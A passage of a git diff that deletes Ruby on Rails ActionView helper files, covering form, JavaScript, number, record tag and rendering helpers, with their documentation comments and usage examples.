-      # Creates a range form element.
-      #
-      # ==== Options
-      # * Accepts the same options as number_field_tag.
-      def range_field_tag(name, value = nil, options = {})
-        number_field_tag(name, value, options.stringify_keys.update("type" => "range"))
-      end
-
-      # Creates the hidden UTF8 enforcer tag. Override this method in a helper
-      # to customize the tag.
-      def utf8_enforcer_tag
-        tag(:input, :type => "hidden", :name => "utf8", :value => "&#x2713;".html_safe)
-      end
-
-      private
-        def html_options_for_form(url_for_options, options)
-          options.stringify_keys.tap do |html_options|
-            html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
-            # The following URL is unescaped, this is just a hash of options, and it is the
-            # responsibility of the caller to escape all the values.
-            html_options["action"]  = url_for(url_for_options)
-            html_options["accept-charset"] = "UTF-8"
-
-            html_options["data-remote"] = true if html_options.delete("remote")
-
-            if html_options["data-remote"] &&
-               !embed_authenticity_token_in_remote_forms &&
-               html_options["authenticity_token"].blank?
-              # The authenticity token is taken from the meta tag in this case
-              html_options["authenticity_token"] = false
-            elsif html_options["authenticity_token"] == true
-              # Include the default authenticity_token, which is only generated when its set to nil,
-              # but we needed the true value to override the default of no authenticity_token on data-remote.
-              html_options["authenticity_token"] = nil
-            end
-          end
-        end
-
-        def extra_tags_for_form(html_options)
-          authenticity_token = html_options.delete("authenticity_token")
-          method = html_options.delete("method").to_s
-
-          method_tag = case method
-            when /^get$/i # must be case-insensitive, but can't use downcase as might be nil
-              html_options["method"] = "get"
-              ''
-            when /^post$/i, "", nil
-              html_options["method"] = "post"
-              token_tag(authenticity_token)
-            else
-              html_options["method"] = "post"
-              method_tag(method) + token_tag(authenticity_token)
-          end
-
-          tags = utf8_enforcer_tag << method_tag
-          content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline')
-        end
-
-        def form_tag_html(html_options)
-          extra_tags = extra_tags_for_form(html_options)
-          tag(:form, html_options, true) + extra_tags
-        end
-
-        def form_tag_in_block(html_options, &block)
-          content = capture(&block)
-          output = form_tag_html(html_options)
-          output << content
-          output.safe_concat("</form>")
-        end
-
-        # see http://www.w3.org/TR/html4/types.html#type-name
-        def sanitize_to_id(name)
-          name.to_s.delete(']').gsub(/[^-a-zA-Z0-9:.]/, "_")
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/javascript_helper.rb b/actionpack/lib/action_view/helpers/javascript_helper.rb
deleted file mode 100644
index edff98d..0000000
--- a/actionpack/lib/action_view/helpers/javascript_helper.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-require 'action_view/helpers/tag_helper'
-
-module ActionView
-  module Helpers
-    module JavaScriptHelper
-      JS_ESCAPE_MAP = {
-        '\\'    => '\\\\',
-        '</'    => '<\/',
-        "\r\n"  => '\n',
-        "\n"    => '\n',
-        "\r"    => '\n',
-        '"'     => '\\"',
-        "'"     => "\\'"
-      }
-
-      JS_ESCAPE_MAP["\342\200\250".force_encoding(Encoding::UTF_8).encode!] = '&#x2028;'
-      JS_ESCAPE_MAP["\342\200\251".force_encoding(Encoding::UTF_8).encode!] = '&#x2029;'
-
-      # Escapes carriage returns and single and double quotes for JavaScript segments.
-      #
-      # Also available through the alias j(). This is particularly helpful in JavaScript
-      # responses, like:
-      #
-      #   $('some_element').replaceWith('<%=j render 'some/element_template' %>');
-      def escape_javascript(javascript)
-        if javascript
-          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) {|match| JS_ESCAPE_MAP[match] }
-          javascript.html_safe? ? result.html_safe : result
-        else
-          ''
-        end
-      end
-
-      alias_method :j, :escape_javascript
-
-      # Returns a JavaScript tag with the +content+ inside. Example:
-      #   javascript_tag "alert('All is good')"
-      #
-      # Returns:
-      #   <script>
-      #   //<![CDATA[
-      #   alert('All is good')
-      #   //]]>
-      #   </script>
-      #
-      # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
-      # tag.
-      #
-      #   javascript_tag "alert('All is good')", defer: 'defer'
-      #   # => <script defer="defer">alert('All is good')</script>
-      #
-      # Instead of passing the content as an argument, you can also use a block
-      # in which case, you pass your +html_options+ as the first parameter.
-      #
-      #   <%= javascript_tag defer: 'defer' do -%>
-      #     alert('All is good')
-      #   <% end -%>
-      def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
-        content =
-          if block_given?
-            html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
-            capture(&block)
-          else
-            content_or_options_with_block
-          end
-
-        content_tag(:script, javascript_cdata_section(content), html_options)
-      end
-
-      def javascript_cdata_section(content) #:nodoc:
-        "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
-      end
-
-      # Returns a button whose +onclick+ handler triggers the passed JavaScript.
-      #
-      # The helper receives a name, JavaScript code, and an optional hash of HTML options. The
-      # name is used as button label and the JavaScript code goes into its +onclick+ attribute.
-      # If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+.
-      #
-      #   button_to_function "Greeting", "alert('Hello world!')", class: "ok"
-      #   # => <input class="ok" onclick="alert('Hello world!');" type="button" value="Greeting" />
-      #
-      def button_to_function(name, function=nil, html_options={})
-        message = "button_to_function is deprecated and will be removed from Rails 4.1. We recommend using Unobtrusive JavaScript instead. " +
-          "See http://guides.rubyonrails.org/working_with_javascript_in_rails.html#unobtrusive-javascript"
-        ActiveSupport::Deprecation.warn message
-
-        onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function};"
-
-        tag(:input, html_options.merge(:type => 'button', :value => name, :onclick => onclick))
-      end
-
-      # Returns a link whose +onclick+ handler triggers the passed JavaScript.
-      #
-      # The helper receives a name, JavaScript code, and an optional hash of HTML options. The
-      # name is used as the link text and the JavaScript code goes into the +onclick+ attribute.
-      # If +html_options+ has an <tt>:onclick</tt>, that one is put before +function+. Once all
-      # the JavaScript is set, the helper appends "; return false;".
-      #
-      # The +href+ attribute of the tag is set to "#" unless +html_options+ has one.
-      #
-      #   link_to_function "Greeting", "alert('Hello world!')", class: "nav_link"
-      #   # => <a class="nav_link" href="#" onclick="alert('Hello world!'); return false;">Greeting</a>
-      #
-      def link_to_function(name, function, html_options={})
-        message = "link_to_function is deprecated and will be removed from Rails 4.1. We recommend using Unobtrusive JavaScript instead. " +
-          "See http://guides.rubyonrails.org/working_with_javascript_in_rails.html#unobtrusive-javascript"
-        ActiveSupport::Deprecation.warn message
-
-        onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function}; return false;"
-        href = html_options[:href] || '#'
-
-        content_tag(:a, name, html_options.merge(:href => href, :onclick => onclick))
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb
deleted file mode 100644
index f3914e4..0000000
--- a/actionpack/lib/action_view/helpers/number_helper.rb
+++ /dev/null
@@ -1,442 +0,0 @@
-# encoding: utf-8
-
-require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/number_helper'
-
-module ActionView
-  # = Action View Number Helpers
-  module Helpers #:nodoc:
-
-    # Provides methods for converting numbers into formatted strings.
-    # Methods are provided for phone numbers, currency, percentage,
-    # precision, positional notation, file size and pretty printing.
-    #
-    # Most methods expect a +number+ argument, and will return it
-    # unchanged if can't be converted into a valid number.
-    module NumberHelper
-
-      # Raised when argument +number+ param given to the helpers is invalid and
-      # the option :raise is set to  +true+.
-      class InvalidNumberError < StandardError
-        attr_accessor :number
-        def initialize(number)
-          @number = number
-        end
-      end
-
-      # Formats a +number+ into a US phone number (e.g., (555)
-      # 123-9876). You can customize the format in the +options+ hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:area_code</tt> - Adds parentheses around the area code.
-      # * <tt>:delimiter</tt> - Specifies the delimiter to use
-      #   (defaults to "-").
-      # * <tt>:extension</tt> - Specifies an extension to add to the
-      #   end of the generated number.
-      # * <tt>:country_code</tt> - Sets the country code for the phone
-      #   number.
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_to_phone(5551234)                                           # => 555-1234
-      #   number_to_phone("5551234")                                         # => 555-1234
-      #   number_to_phone(1235551234)                                        # => 123-555-1234
-      #   number_to_phone(1235551234, area_code: true)                       # => (123) 555-1234
-      #   number_to_phone(1235551234, delimiter: " ")                        # => 123 555 1234
-      #   number_to_phone(1235551234, area_code: true, extension: 555)       # => (123) 555-1234 x 555
-      #   number_to_phone(1235551234, country_code: 1)                       # => +1-123-555-1234
-      #   number_to_phone("123a456")                                         # => 123a456
-      #   number_to_phone("1234a567", raise: true)                           # => InvalidNumberError
-      #
-      #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
-      #   # => +1.123.555.1234 x 1343
-      def number_to_phone(number, options = {})
-        return unless number
-        options = options.symbolize_keys
-
-        parse_float(number, true) if options.delete(:raise)
-        ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
-      end
-
-      # Formats a +number+ into a currency string (e.g., $13.65). You
-      # can customize the format in the +options+ hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the level of precision (defaults
-      #   to 2).
-      # * <tt>:unit</tt> - Sets the denomination of the currency
-      #   (defaults to "$").
-      # * <tt>:separator</tt> - Sets the separator between the units
-      #   (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to ",").
-      # * <tt>:format</tt> - Sets the format for non-negative numbers
-      #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
-      #   currency, and <tt>%n</tt> for the number.
-      # * <tt>:negative_format</tt> - Sets the format for negative
-      #   numbers (defaults to prepending an hyphen to the formatted
-      #   number given by <tt>:format</tt>).  Accepts the same fields
-      #   than <tt>:format</tt>, except <tt>%n</tt> is here the
-      #   absolute value of the number.
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_to_currency(1234567890.50)                    # => $1,234,567,890.50
-      #   number_to_currency(1234567890.506)                   # => $1,234,567,890.51
-      #   number_to_currency(1234567890.506, precision: 3)     # => $1,234,567,890.506
-      #   number_to_currency(1234567890.506, locale: :fr)      # => 1 234 567 890,51 €
-      #   number_to_currency("123a456")                        # => $123a456
-      #
-      #   number_to_currency("123a456", raise: true)           # => InvalidNumberError
-      #
-      #   number_to_currency(-1234567890.50, negative_format: "(%u%n)")
-      #   # => ($1,234,567,890.50)
-      #   number_to_currency(1234567890.50, unit: "£", separator: ",", delimiter: "")
-      #   # => £1234567890,50
-      #   number_to_currency(1234567890.50, unit: "£", separator: ",", delimiter: "", format: "%n %u")
-      #   # => 1234567890,50 £
-      def number_to_currency(number, options = {})
-        return unless number
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_currency(number, options)
-        }
-      end
-
-      # Formats a +number+ as a percentage string (e.g., 65%). You can
-      # customize the format in the +options+ hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the #
-      #   of significant_digits. If +false+, the # of fractional
-      #   digits (defaults to +false+).
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +false+).
-      # * <tt>:format</tt> - Specifies the format of the percentage
-      #   string The number field is <tt>%n</tt> (defaults to "%n%").
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_to_percentage(100)                                        # => 100.000%
-      #   number_to_percentage("98")                                       # => 98.000%
-      #   number_to_percentage(100, precision: 0)                          # => 100%
-      #   number_to_percentage(1000, delimiter: '.', separator: ',')       # => 1.000,000%
-      #   number_to_percentage(302.24398923423, precision: 5)              # => 302.24399%
-      #   number_to_percentage(1000, locale: :fr)                          # => 1 000,000%
-      #   number_to_percentage("98a")                                      # => 98a%
-      #   number_to_percentage(100, format: "%n  %")                       # => 100  %
-      #
-      #   number_to_percentage("98a", raise: true)                         # => InvalidNumberError
-      def number_to_percentage(number, options = {})
-        return unless number
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_percentage(number, options)
-        }
-      end
-
-      # Formats a +number+ with grouped thousands using +delimiter+
-      # (e.g., 12,324). You can customize the format in the +options+
-      # hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to ",").
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_with_delimiter(12345678)                        # => 12,345,678
-      #   number_with_delimiter("123456")                        # => 123,456
-      #   number_with_delimiter(12345678.05)                     # => 12,345,678.05
-      #   number_with_delimiter(12345678, delimiter: ".")        # => 12.345.678
-      #   number_with_delimiter(12345678, delimiter: ",")        # => 12,345,678
-      #   number_with_delimiter(12345678.05, separator: " ")     # => 12,345,678 05
-      #   number_with_delimiter(12345678.05, locale: :fr)        # => 12 345 678,05
-      #   number_with_delimiter("112a")                          # => 112a
-      #   number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
-      #   # => 98 765 432,98
-      #
-      #  number_with_delimiter("112a", raise: true)              # => raise InvalidNumberError
-      def number_with_delimiter(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_delimited(number, options)
-        }
-      end
-
-      # Formats a +number+ with the specified level of
-      # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
-      # +:significant+ is +false+, and 5 if +:significant+ is +true+).
-      # You can customize the format in the +options+ hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the #
-      #   of significant_digits. If +false+, the # of fractional
-      #   digits (defaults to +false+).
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +false+).
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_with_precision(111.2345)                                         # => 111.235
-      #   number_with_precision(111.2345, precision: 2)                           # => 111.23
-      #   number_with_precision(13, precision: 5)                                 # => 13.00000
-      #   number_with_precision(389.32314, precision: 0)                          # => 389
-      #   number_with_precision(111.2345, significant: true)                      # => 111
-      #   number_with_precision(111.2345, precision: 1, significant: true)        # => 100
-      #   number_with_precision(13, precision: 5, significant: true)              # => 13.000
-      #   number_with_precision(111.234, locale: :fr)                             # => 111,234
-      #
-      #   number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
-      #   # => 13
-      #
-      #   number_with_precision(389.32314, precision: 4, significant: true)       # => 389.3
-      #   number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
-      #   # => 1.111,23
-      def number_with_precision(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_rounded(number, options)
-        }
-      end
-
-      # Formats the bytes in +number+ into a more understandable
-      # representation (e.g., giving it 1500 yields 1.5 KB). This
-      # method is useful for reporting file sizes to users. You can
-      # customize the format in the +options+ hash.
-      #
-      # See <tt>number_to_human</tt> if you want to pretty-print a
-      # generic number.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the #
-      #   of significant_digits. If +false+, the # of fractional
-      #   digits (defaults to +true+)
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +true+)
-      # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
-      #   prefix (defaults to :binary)
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_to_human_size(123)                                          # => 123 Bytes
-      #   number_to_human_size(1234)                                         # => 1.21 KB
-      #   number_to_human_size(12345)                                        # => 12.1 KB
-      #   number_to_human_size(1234567)                                      # => 1.18 MB
-      #   number_to_human_size(1234567890)                                   # => 1.15 GB
-      #   number_to_human_size(1234567890123)                                # => 1.12 TB
-      #   number_to_human_size(1234567, precision: 2)                        # => 1.2 MB
-      #   number_to_human_size(483989, precision: 2)                         # => 470 KB
-      #   number_to_human_size(1234567, precision: 2, separator: ',')        # => 1,2 MB
-      #
-      # Non-significant zeros after the fractional separator are
-      # stripped out by default (set
-      # <tt>:strip_insignificant_zeros</tt> to +false+ to change
-      # that):
-      #
-      #   number_to_human_size(1234567890123, precision: 5)        # => "1.1229 TB"
-      #   number_to_human_size(524288000, precision: 5)            # => "500 MB"
-      def number_to_human_size(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_human_size(number, options)
-        }
-      end
-
-      # Pretty prints (formats and approximates) a number in a way it
-      # is more readable by humans (eg.: 1200000000 becomes "1.2
-      # Billion"). This is useful for numbers that can get very large
-      # (and too hard to read).
-      #
-      # See <tt>number_to_human_size</tt> if you want to print a file
-      # size.
-      #
-      # You can also define you own unit-quantifier names if you want
-      # to use other decimal units (eg.: 1500 becomes "1.5
-      # kilometers", 0.150 becomes "150 milliliters", etc). You may
-      # define a wide range of unit quantifiers, even fractional ones
-      # (centi, deci, mili, etc).
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the #
-      #   of significant_digits. If +false+, the # of fractional
-      #   digits (defaults to +true+)
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +true+)
-      # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
-      #   string containing an i18n scope where to find this hash. It
-      #   might have the following keys:
-      #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
-      #     *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
-      #     *<tt>:billion</tt>, <tt>:trillion</tt>,
-      #     *<tt>:quadrillion</tt>
-      #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
-      #     *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
-      #     *<tt>:pico</tt>, <tt>:femto</tt>
-      # * <tt>:format</tt> - Sets the format of the output string
-      #   (defaults to "%n %u"). The field types are:
-      #   * %u - The quantifier (ex.: 'thousand')
-      #   * %n - The number
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_to_human(123)                                          # => "123"
-      #   number_to_human(1234)                                         # => "1.23 Thousand"
-      #   number_to_human(12345)                                        # => "12.3 Thousand"
-      #   number_to_human(1234567)                                      # => "1.23 Million"
-      #   number_to_human(1234567890)                                   # => "1.23 Billion"
-      #   number_to_human(1234567890123)                                # => "1.23 Trillion"
-      #   number_to_human(1234567890123456)                             # => "1.23 Quadrillion"
-      #   number_to_human(1234567890123456789)                          # => "1230 Quadrillion"
-      #   number_to_human(489939, precision: 2)                         # => "490 Thousand"
-      #   number_to_human(489939, precision: 4)                         # => "489.9 Thousand"
-      #   number_to_human(1234567, precision: 4,
-      #                           significant: false)                   # => "1.2346 Million"
-      #   number_to_human(1234567, precision: 1,
-      #                           separator: ',',
-      #                           significant: false)                   # => "1,2 Million"
-      #
-      # Non-significant zeros after the decimal separator are stripped
-      # out by default (set <tt>:strip_insignificant_zeros</tt> to
-      # +false+ to change that):
-      #   number_to_human(12345012345, significant_digits: 6)       # => "12.345 Billion"
-      #   number_to_human(500000000, precision: 5)                  # => "500 Million"
-      #
-      # ==== Custom Unit Quantifiers
-      #
-      # You can also use your own custom unit quantifiers:
-      #  number_to_human(500000, units: {unit: "ml", thousand: "lt"})  # => "500 lt"
-      #
-      # If in your I18n locale you have:
-      #   distance:
-      #     centi:
-      #       one: "centimeter"
-      #       other: "centimeters"
-      #     unit:
-      #       one: "meter"
-      #       other: "meters"
-      #     thousand:
-      #       one: "kilometer"
-      #       other: "kilometers"
-      #     billion: "gazillion-distance"
-      #
-      # Then you could do:
-      #
-      #  number_to_human(543934, units: :distance)              # => "544 kilometers"
-      #  number_to_human(54393498, units: :distance)            # => "54400 kilometers"
-      #  number_to_human(54393498000, units: :distance)         # => "54.4 gazillion-distance"
-      #  number_to_human(343, units: :distance, precision: 1)   # => "300 meters"
-      #  number_to_human(1, units: :distance)                   # => "1 meter"
-      #  number_to_human(0.34, units: :distance)                # => "34 centimeters"
-      #
-      def number_to_human(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_human(number, options)
-        }
-      end
-
-      private
-
-      def escape_unsafe_delimiters_and_separators(options)
-        options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
-        options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
-        options[:unit]      = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
-        options
-      end
-
-      def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
-        valid_float = valid_float?(number)
-        raise InvalidNumberError, number if raise_on_invalid && !valid_float
-
-        formatted_number = yield
-
-        if valid_float || number.html_safe?
-          formatted_number.html_safe
-        else
-          formatted_number
-        end
-      end
-
-      def valid_float?(number)
-        !parse_float(number, false).nil?
-      end
-
-      def parse_float(number, raise_error)
-        Float(number)
-      rescue ArgumentError, TypeError
-        raise InvalidNumberError, number if raise_error
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/record_tag_helper.rb b/actionpack/lib/action_view/helpers/record_tag_helper.rb
deleted file mode 100644
index f767957..0000000
--- a/actionpack/lib/action_view/helpers/record_tag_helper.rb
+++ /dev/null
@@ -1,106 +0,0 @@
-module ActionView
-  # = Action View Record Tag Helpers
-  module Helpers
-    module RecordTagHelper
-      include ActionView::RecordIdentifier
-
-      # Produces a wrapper DIV element with id and class parameters that
-      # relate to the specified Active Record object. Usage example:
-      #
-      #    <%= div_for(@person, class: "foo") do %>
-      #       <%= @person.name %>
-      #    <% end %>
-      #
-      # produces:
-      #
-      #    <div id="person_123" class="person foo"> Joe Bloggs </div>
-      #
-      # You can also pass an array of Active Record objects, which will then
-      # get iterated over and yield each record as an argument for the block.
-      # For example:
-      #
-      #    <%= div_for(@people, class: "foo") do |person| %>
-      #      <%= person.name %>
-      #    <% end %>
-      #
-      # produces:
-      #
-      #    <div id="person_123" class="person foo"> Joe Bloggs </div>
-      #    <div id="person_124" class="person foo"> Jane Bloggs </div>
-      #
-      def div_for(record, *args, &block)
-        content_tag_for(:div, record, *args, &block)
-      end
-
-      # content_tag_for creates an HTML element with id and class parameters
-      # that relate to the specified Active Record object. For example:
-      #
-      #    <%= content_tag_for(:tr, @person) do %>
-      #      <td><%= @person.first_name %></td>
-      #      <td><%= @person.last_name %></td>
-      #    <% end %>
-      #
-      # would produce the following HTML (assuming @person is an instance of
-      # a Person object, with an id value of 123):
-      #
-      #    <tr id="person_123" class="person">....</tr>
-      #
-      # If you require the HTML id attribute to have a prefix, you can specify it:
-      #
-      #    <%= content_tag_for(:tr, @person, :foo) do %> ...
-      #
-      # produces:
-      #
-      #    <tr id="foo_person_123" class="person">...
-      #
-      # You can also pass an array of objects which this method will loop through
-      # and yield the current object to the supplied block, reducing the need for
-      # having to iterate through the object (using <tt>each</tt>) beforehand.
-      # For example (assuming @people is an array of Person objects):
-      #
-      #    <%= content_tag_for(:tr, @people) do |person| %>
-      #      <td><%= person.first_name %></td>
-      #      <td><%= person.last_name %></td>
-      #    <% end %>
-      #
-      # produces:
-      #
-      #    <tr id="person_123" class="person">...</tr>
-      #    <tr id="person_124" class="person">...</tr>
-      #
-      # content_tag_for also accepts a hash of options, which will be converted to
-      # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
-      # with the default class name for your object. For example:
-      #
-      #    <%= content_tag_for(:li, @person, class: "bar") %>...
-      #
-      # produces:
-      #
-      #    <li id="person_123" class="person bar">...
-      #
-      def content_tag_for(tag_name, single_or_multiple_records, prefix = nil, options = nil, &block)
-        options, prefix = prefix, nil if prefix.is_a?(Hash)
-
-        Array(single_or_multiple_records).map do |single_record|
-          content_tag_for_single_record(tag_name, single_record, prefix, options, &block)
-        end.join("\n").html_safe
-      end
-
-      private
-
-        # Called by <tt>content_tag_for</tt> internally to render a content tag
-        # for each record.
-        def content_tag_for_single_record(tag_name, record, prefix, options, &block)
-          options = options ? options.dup : {}
-          options[:class] = [ dom_class(record, prefix), options[:class] ].compact
-          options[:id]    = dom_id(record, prefix)
-
-          if block_given?
-            content_tag(tag_name, capture(record, &block), options)
-          else
-            content_tag(tag_name, "", options)
-          end
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/rendering_helper.rb b/actionpack/lib/action_view/helpers/rendering_helper.rb
deleted file mode 100644
index 458086d..0000000
--- a/actionpack/lib/action_view/helpers/rendering_helper.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-module ActionView
-  module Helpers
-    # = Action View Rendering
-    #
-    # Implements methods that allow rendering from a view context.
-    # In order to use this module, all you need is to implement
-    # view_renderer that returns an ActionView::Renderer object.
-    module RenderingHelper
-      # Returns the result of a render that's dictated by the options hash. The primary options are:
-      #
-      # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
-      # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
-      # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
-      # * <tt>:text</tt> - Renders the text passed in out.
-      #
-      # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
-      # as the locals hash.
-      def render(options = {}, locals = {}, &block)
-        case options
-        when Hash
-          if block_given?
-            view_renderer.render_partial(self, options.merge(:partial => options[:layout]), &block)
-          else
-            view_renderer.render(self, options)
-          end
-        else
-          view_renderer.render_partial(self, :partial => options, :locals => locals)
-        end
-      end
-
-      # Overwrites _layout_for in the context object so it supports the case a block is
-      # passed to a partial. Returns the contents that are yielded to a layout, given a
-      # name or a block.
-      #
-      # You can think of a layout as a method that is called with a block. If the user calls
-      # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
-      # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
-      #
-      # The user can override this default by passing a block to the layout:
-      #
-      #   # The template
-      #   <%= render layout: "my_layout" do %>
-      #     Content
-      #   <% end %>
-      #
-      #   # The layout
-      #   <html>
-      #     <%= yield %>
-      #   </html>
-      #
-      # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
-      # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
-      # would be
-      #
-      #   <html>
-      #     Content
-      #   </html>
-      #
-      # Finally, the block can take block arguments, which can be passed in by +yield+:
-      #
-      #   # The template
-      #   <%= render layout: "my_layout" do |customer| %>
-      #     Hello <%= customer.name %>
-      #   <% end %>
-      #
-      #   # The layout
-      #   <html>
-      #     <%= yield Struct.new(:name).new("David") %>
-      #   </html>
-      #
-      # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
-      # and the struct specified would be passed into the block as an argument. The result
-      # would be
-      #
-      #   <html>
-      #     Hello David
-      #   </html>
-      #
-      def _layout_for(*args, &block)
-        name = args.first
-
-        if block && !name.is_a?(Symbol)
-          capture(*args, &block)
-        else
-          super
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tag_helper.rb b/actionpack/lib/action_view/helpers/tag_helper.rb
deleted file mode 100644
index 8c7524e..0000000
--- a/actionpack/lib/action_view/helpers/tag_helper.rb
+++ /dev/null
@@ -1,173 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-require 'set'
-
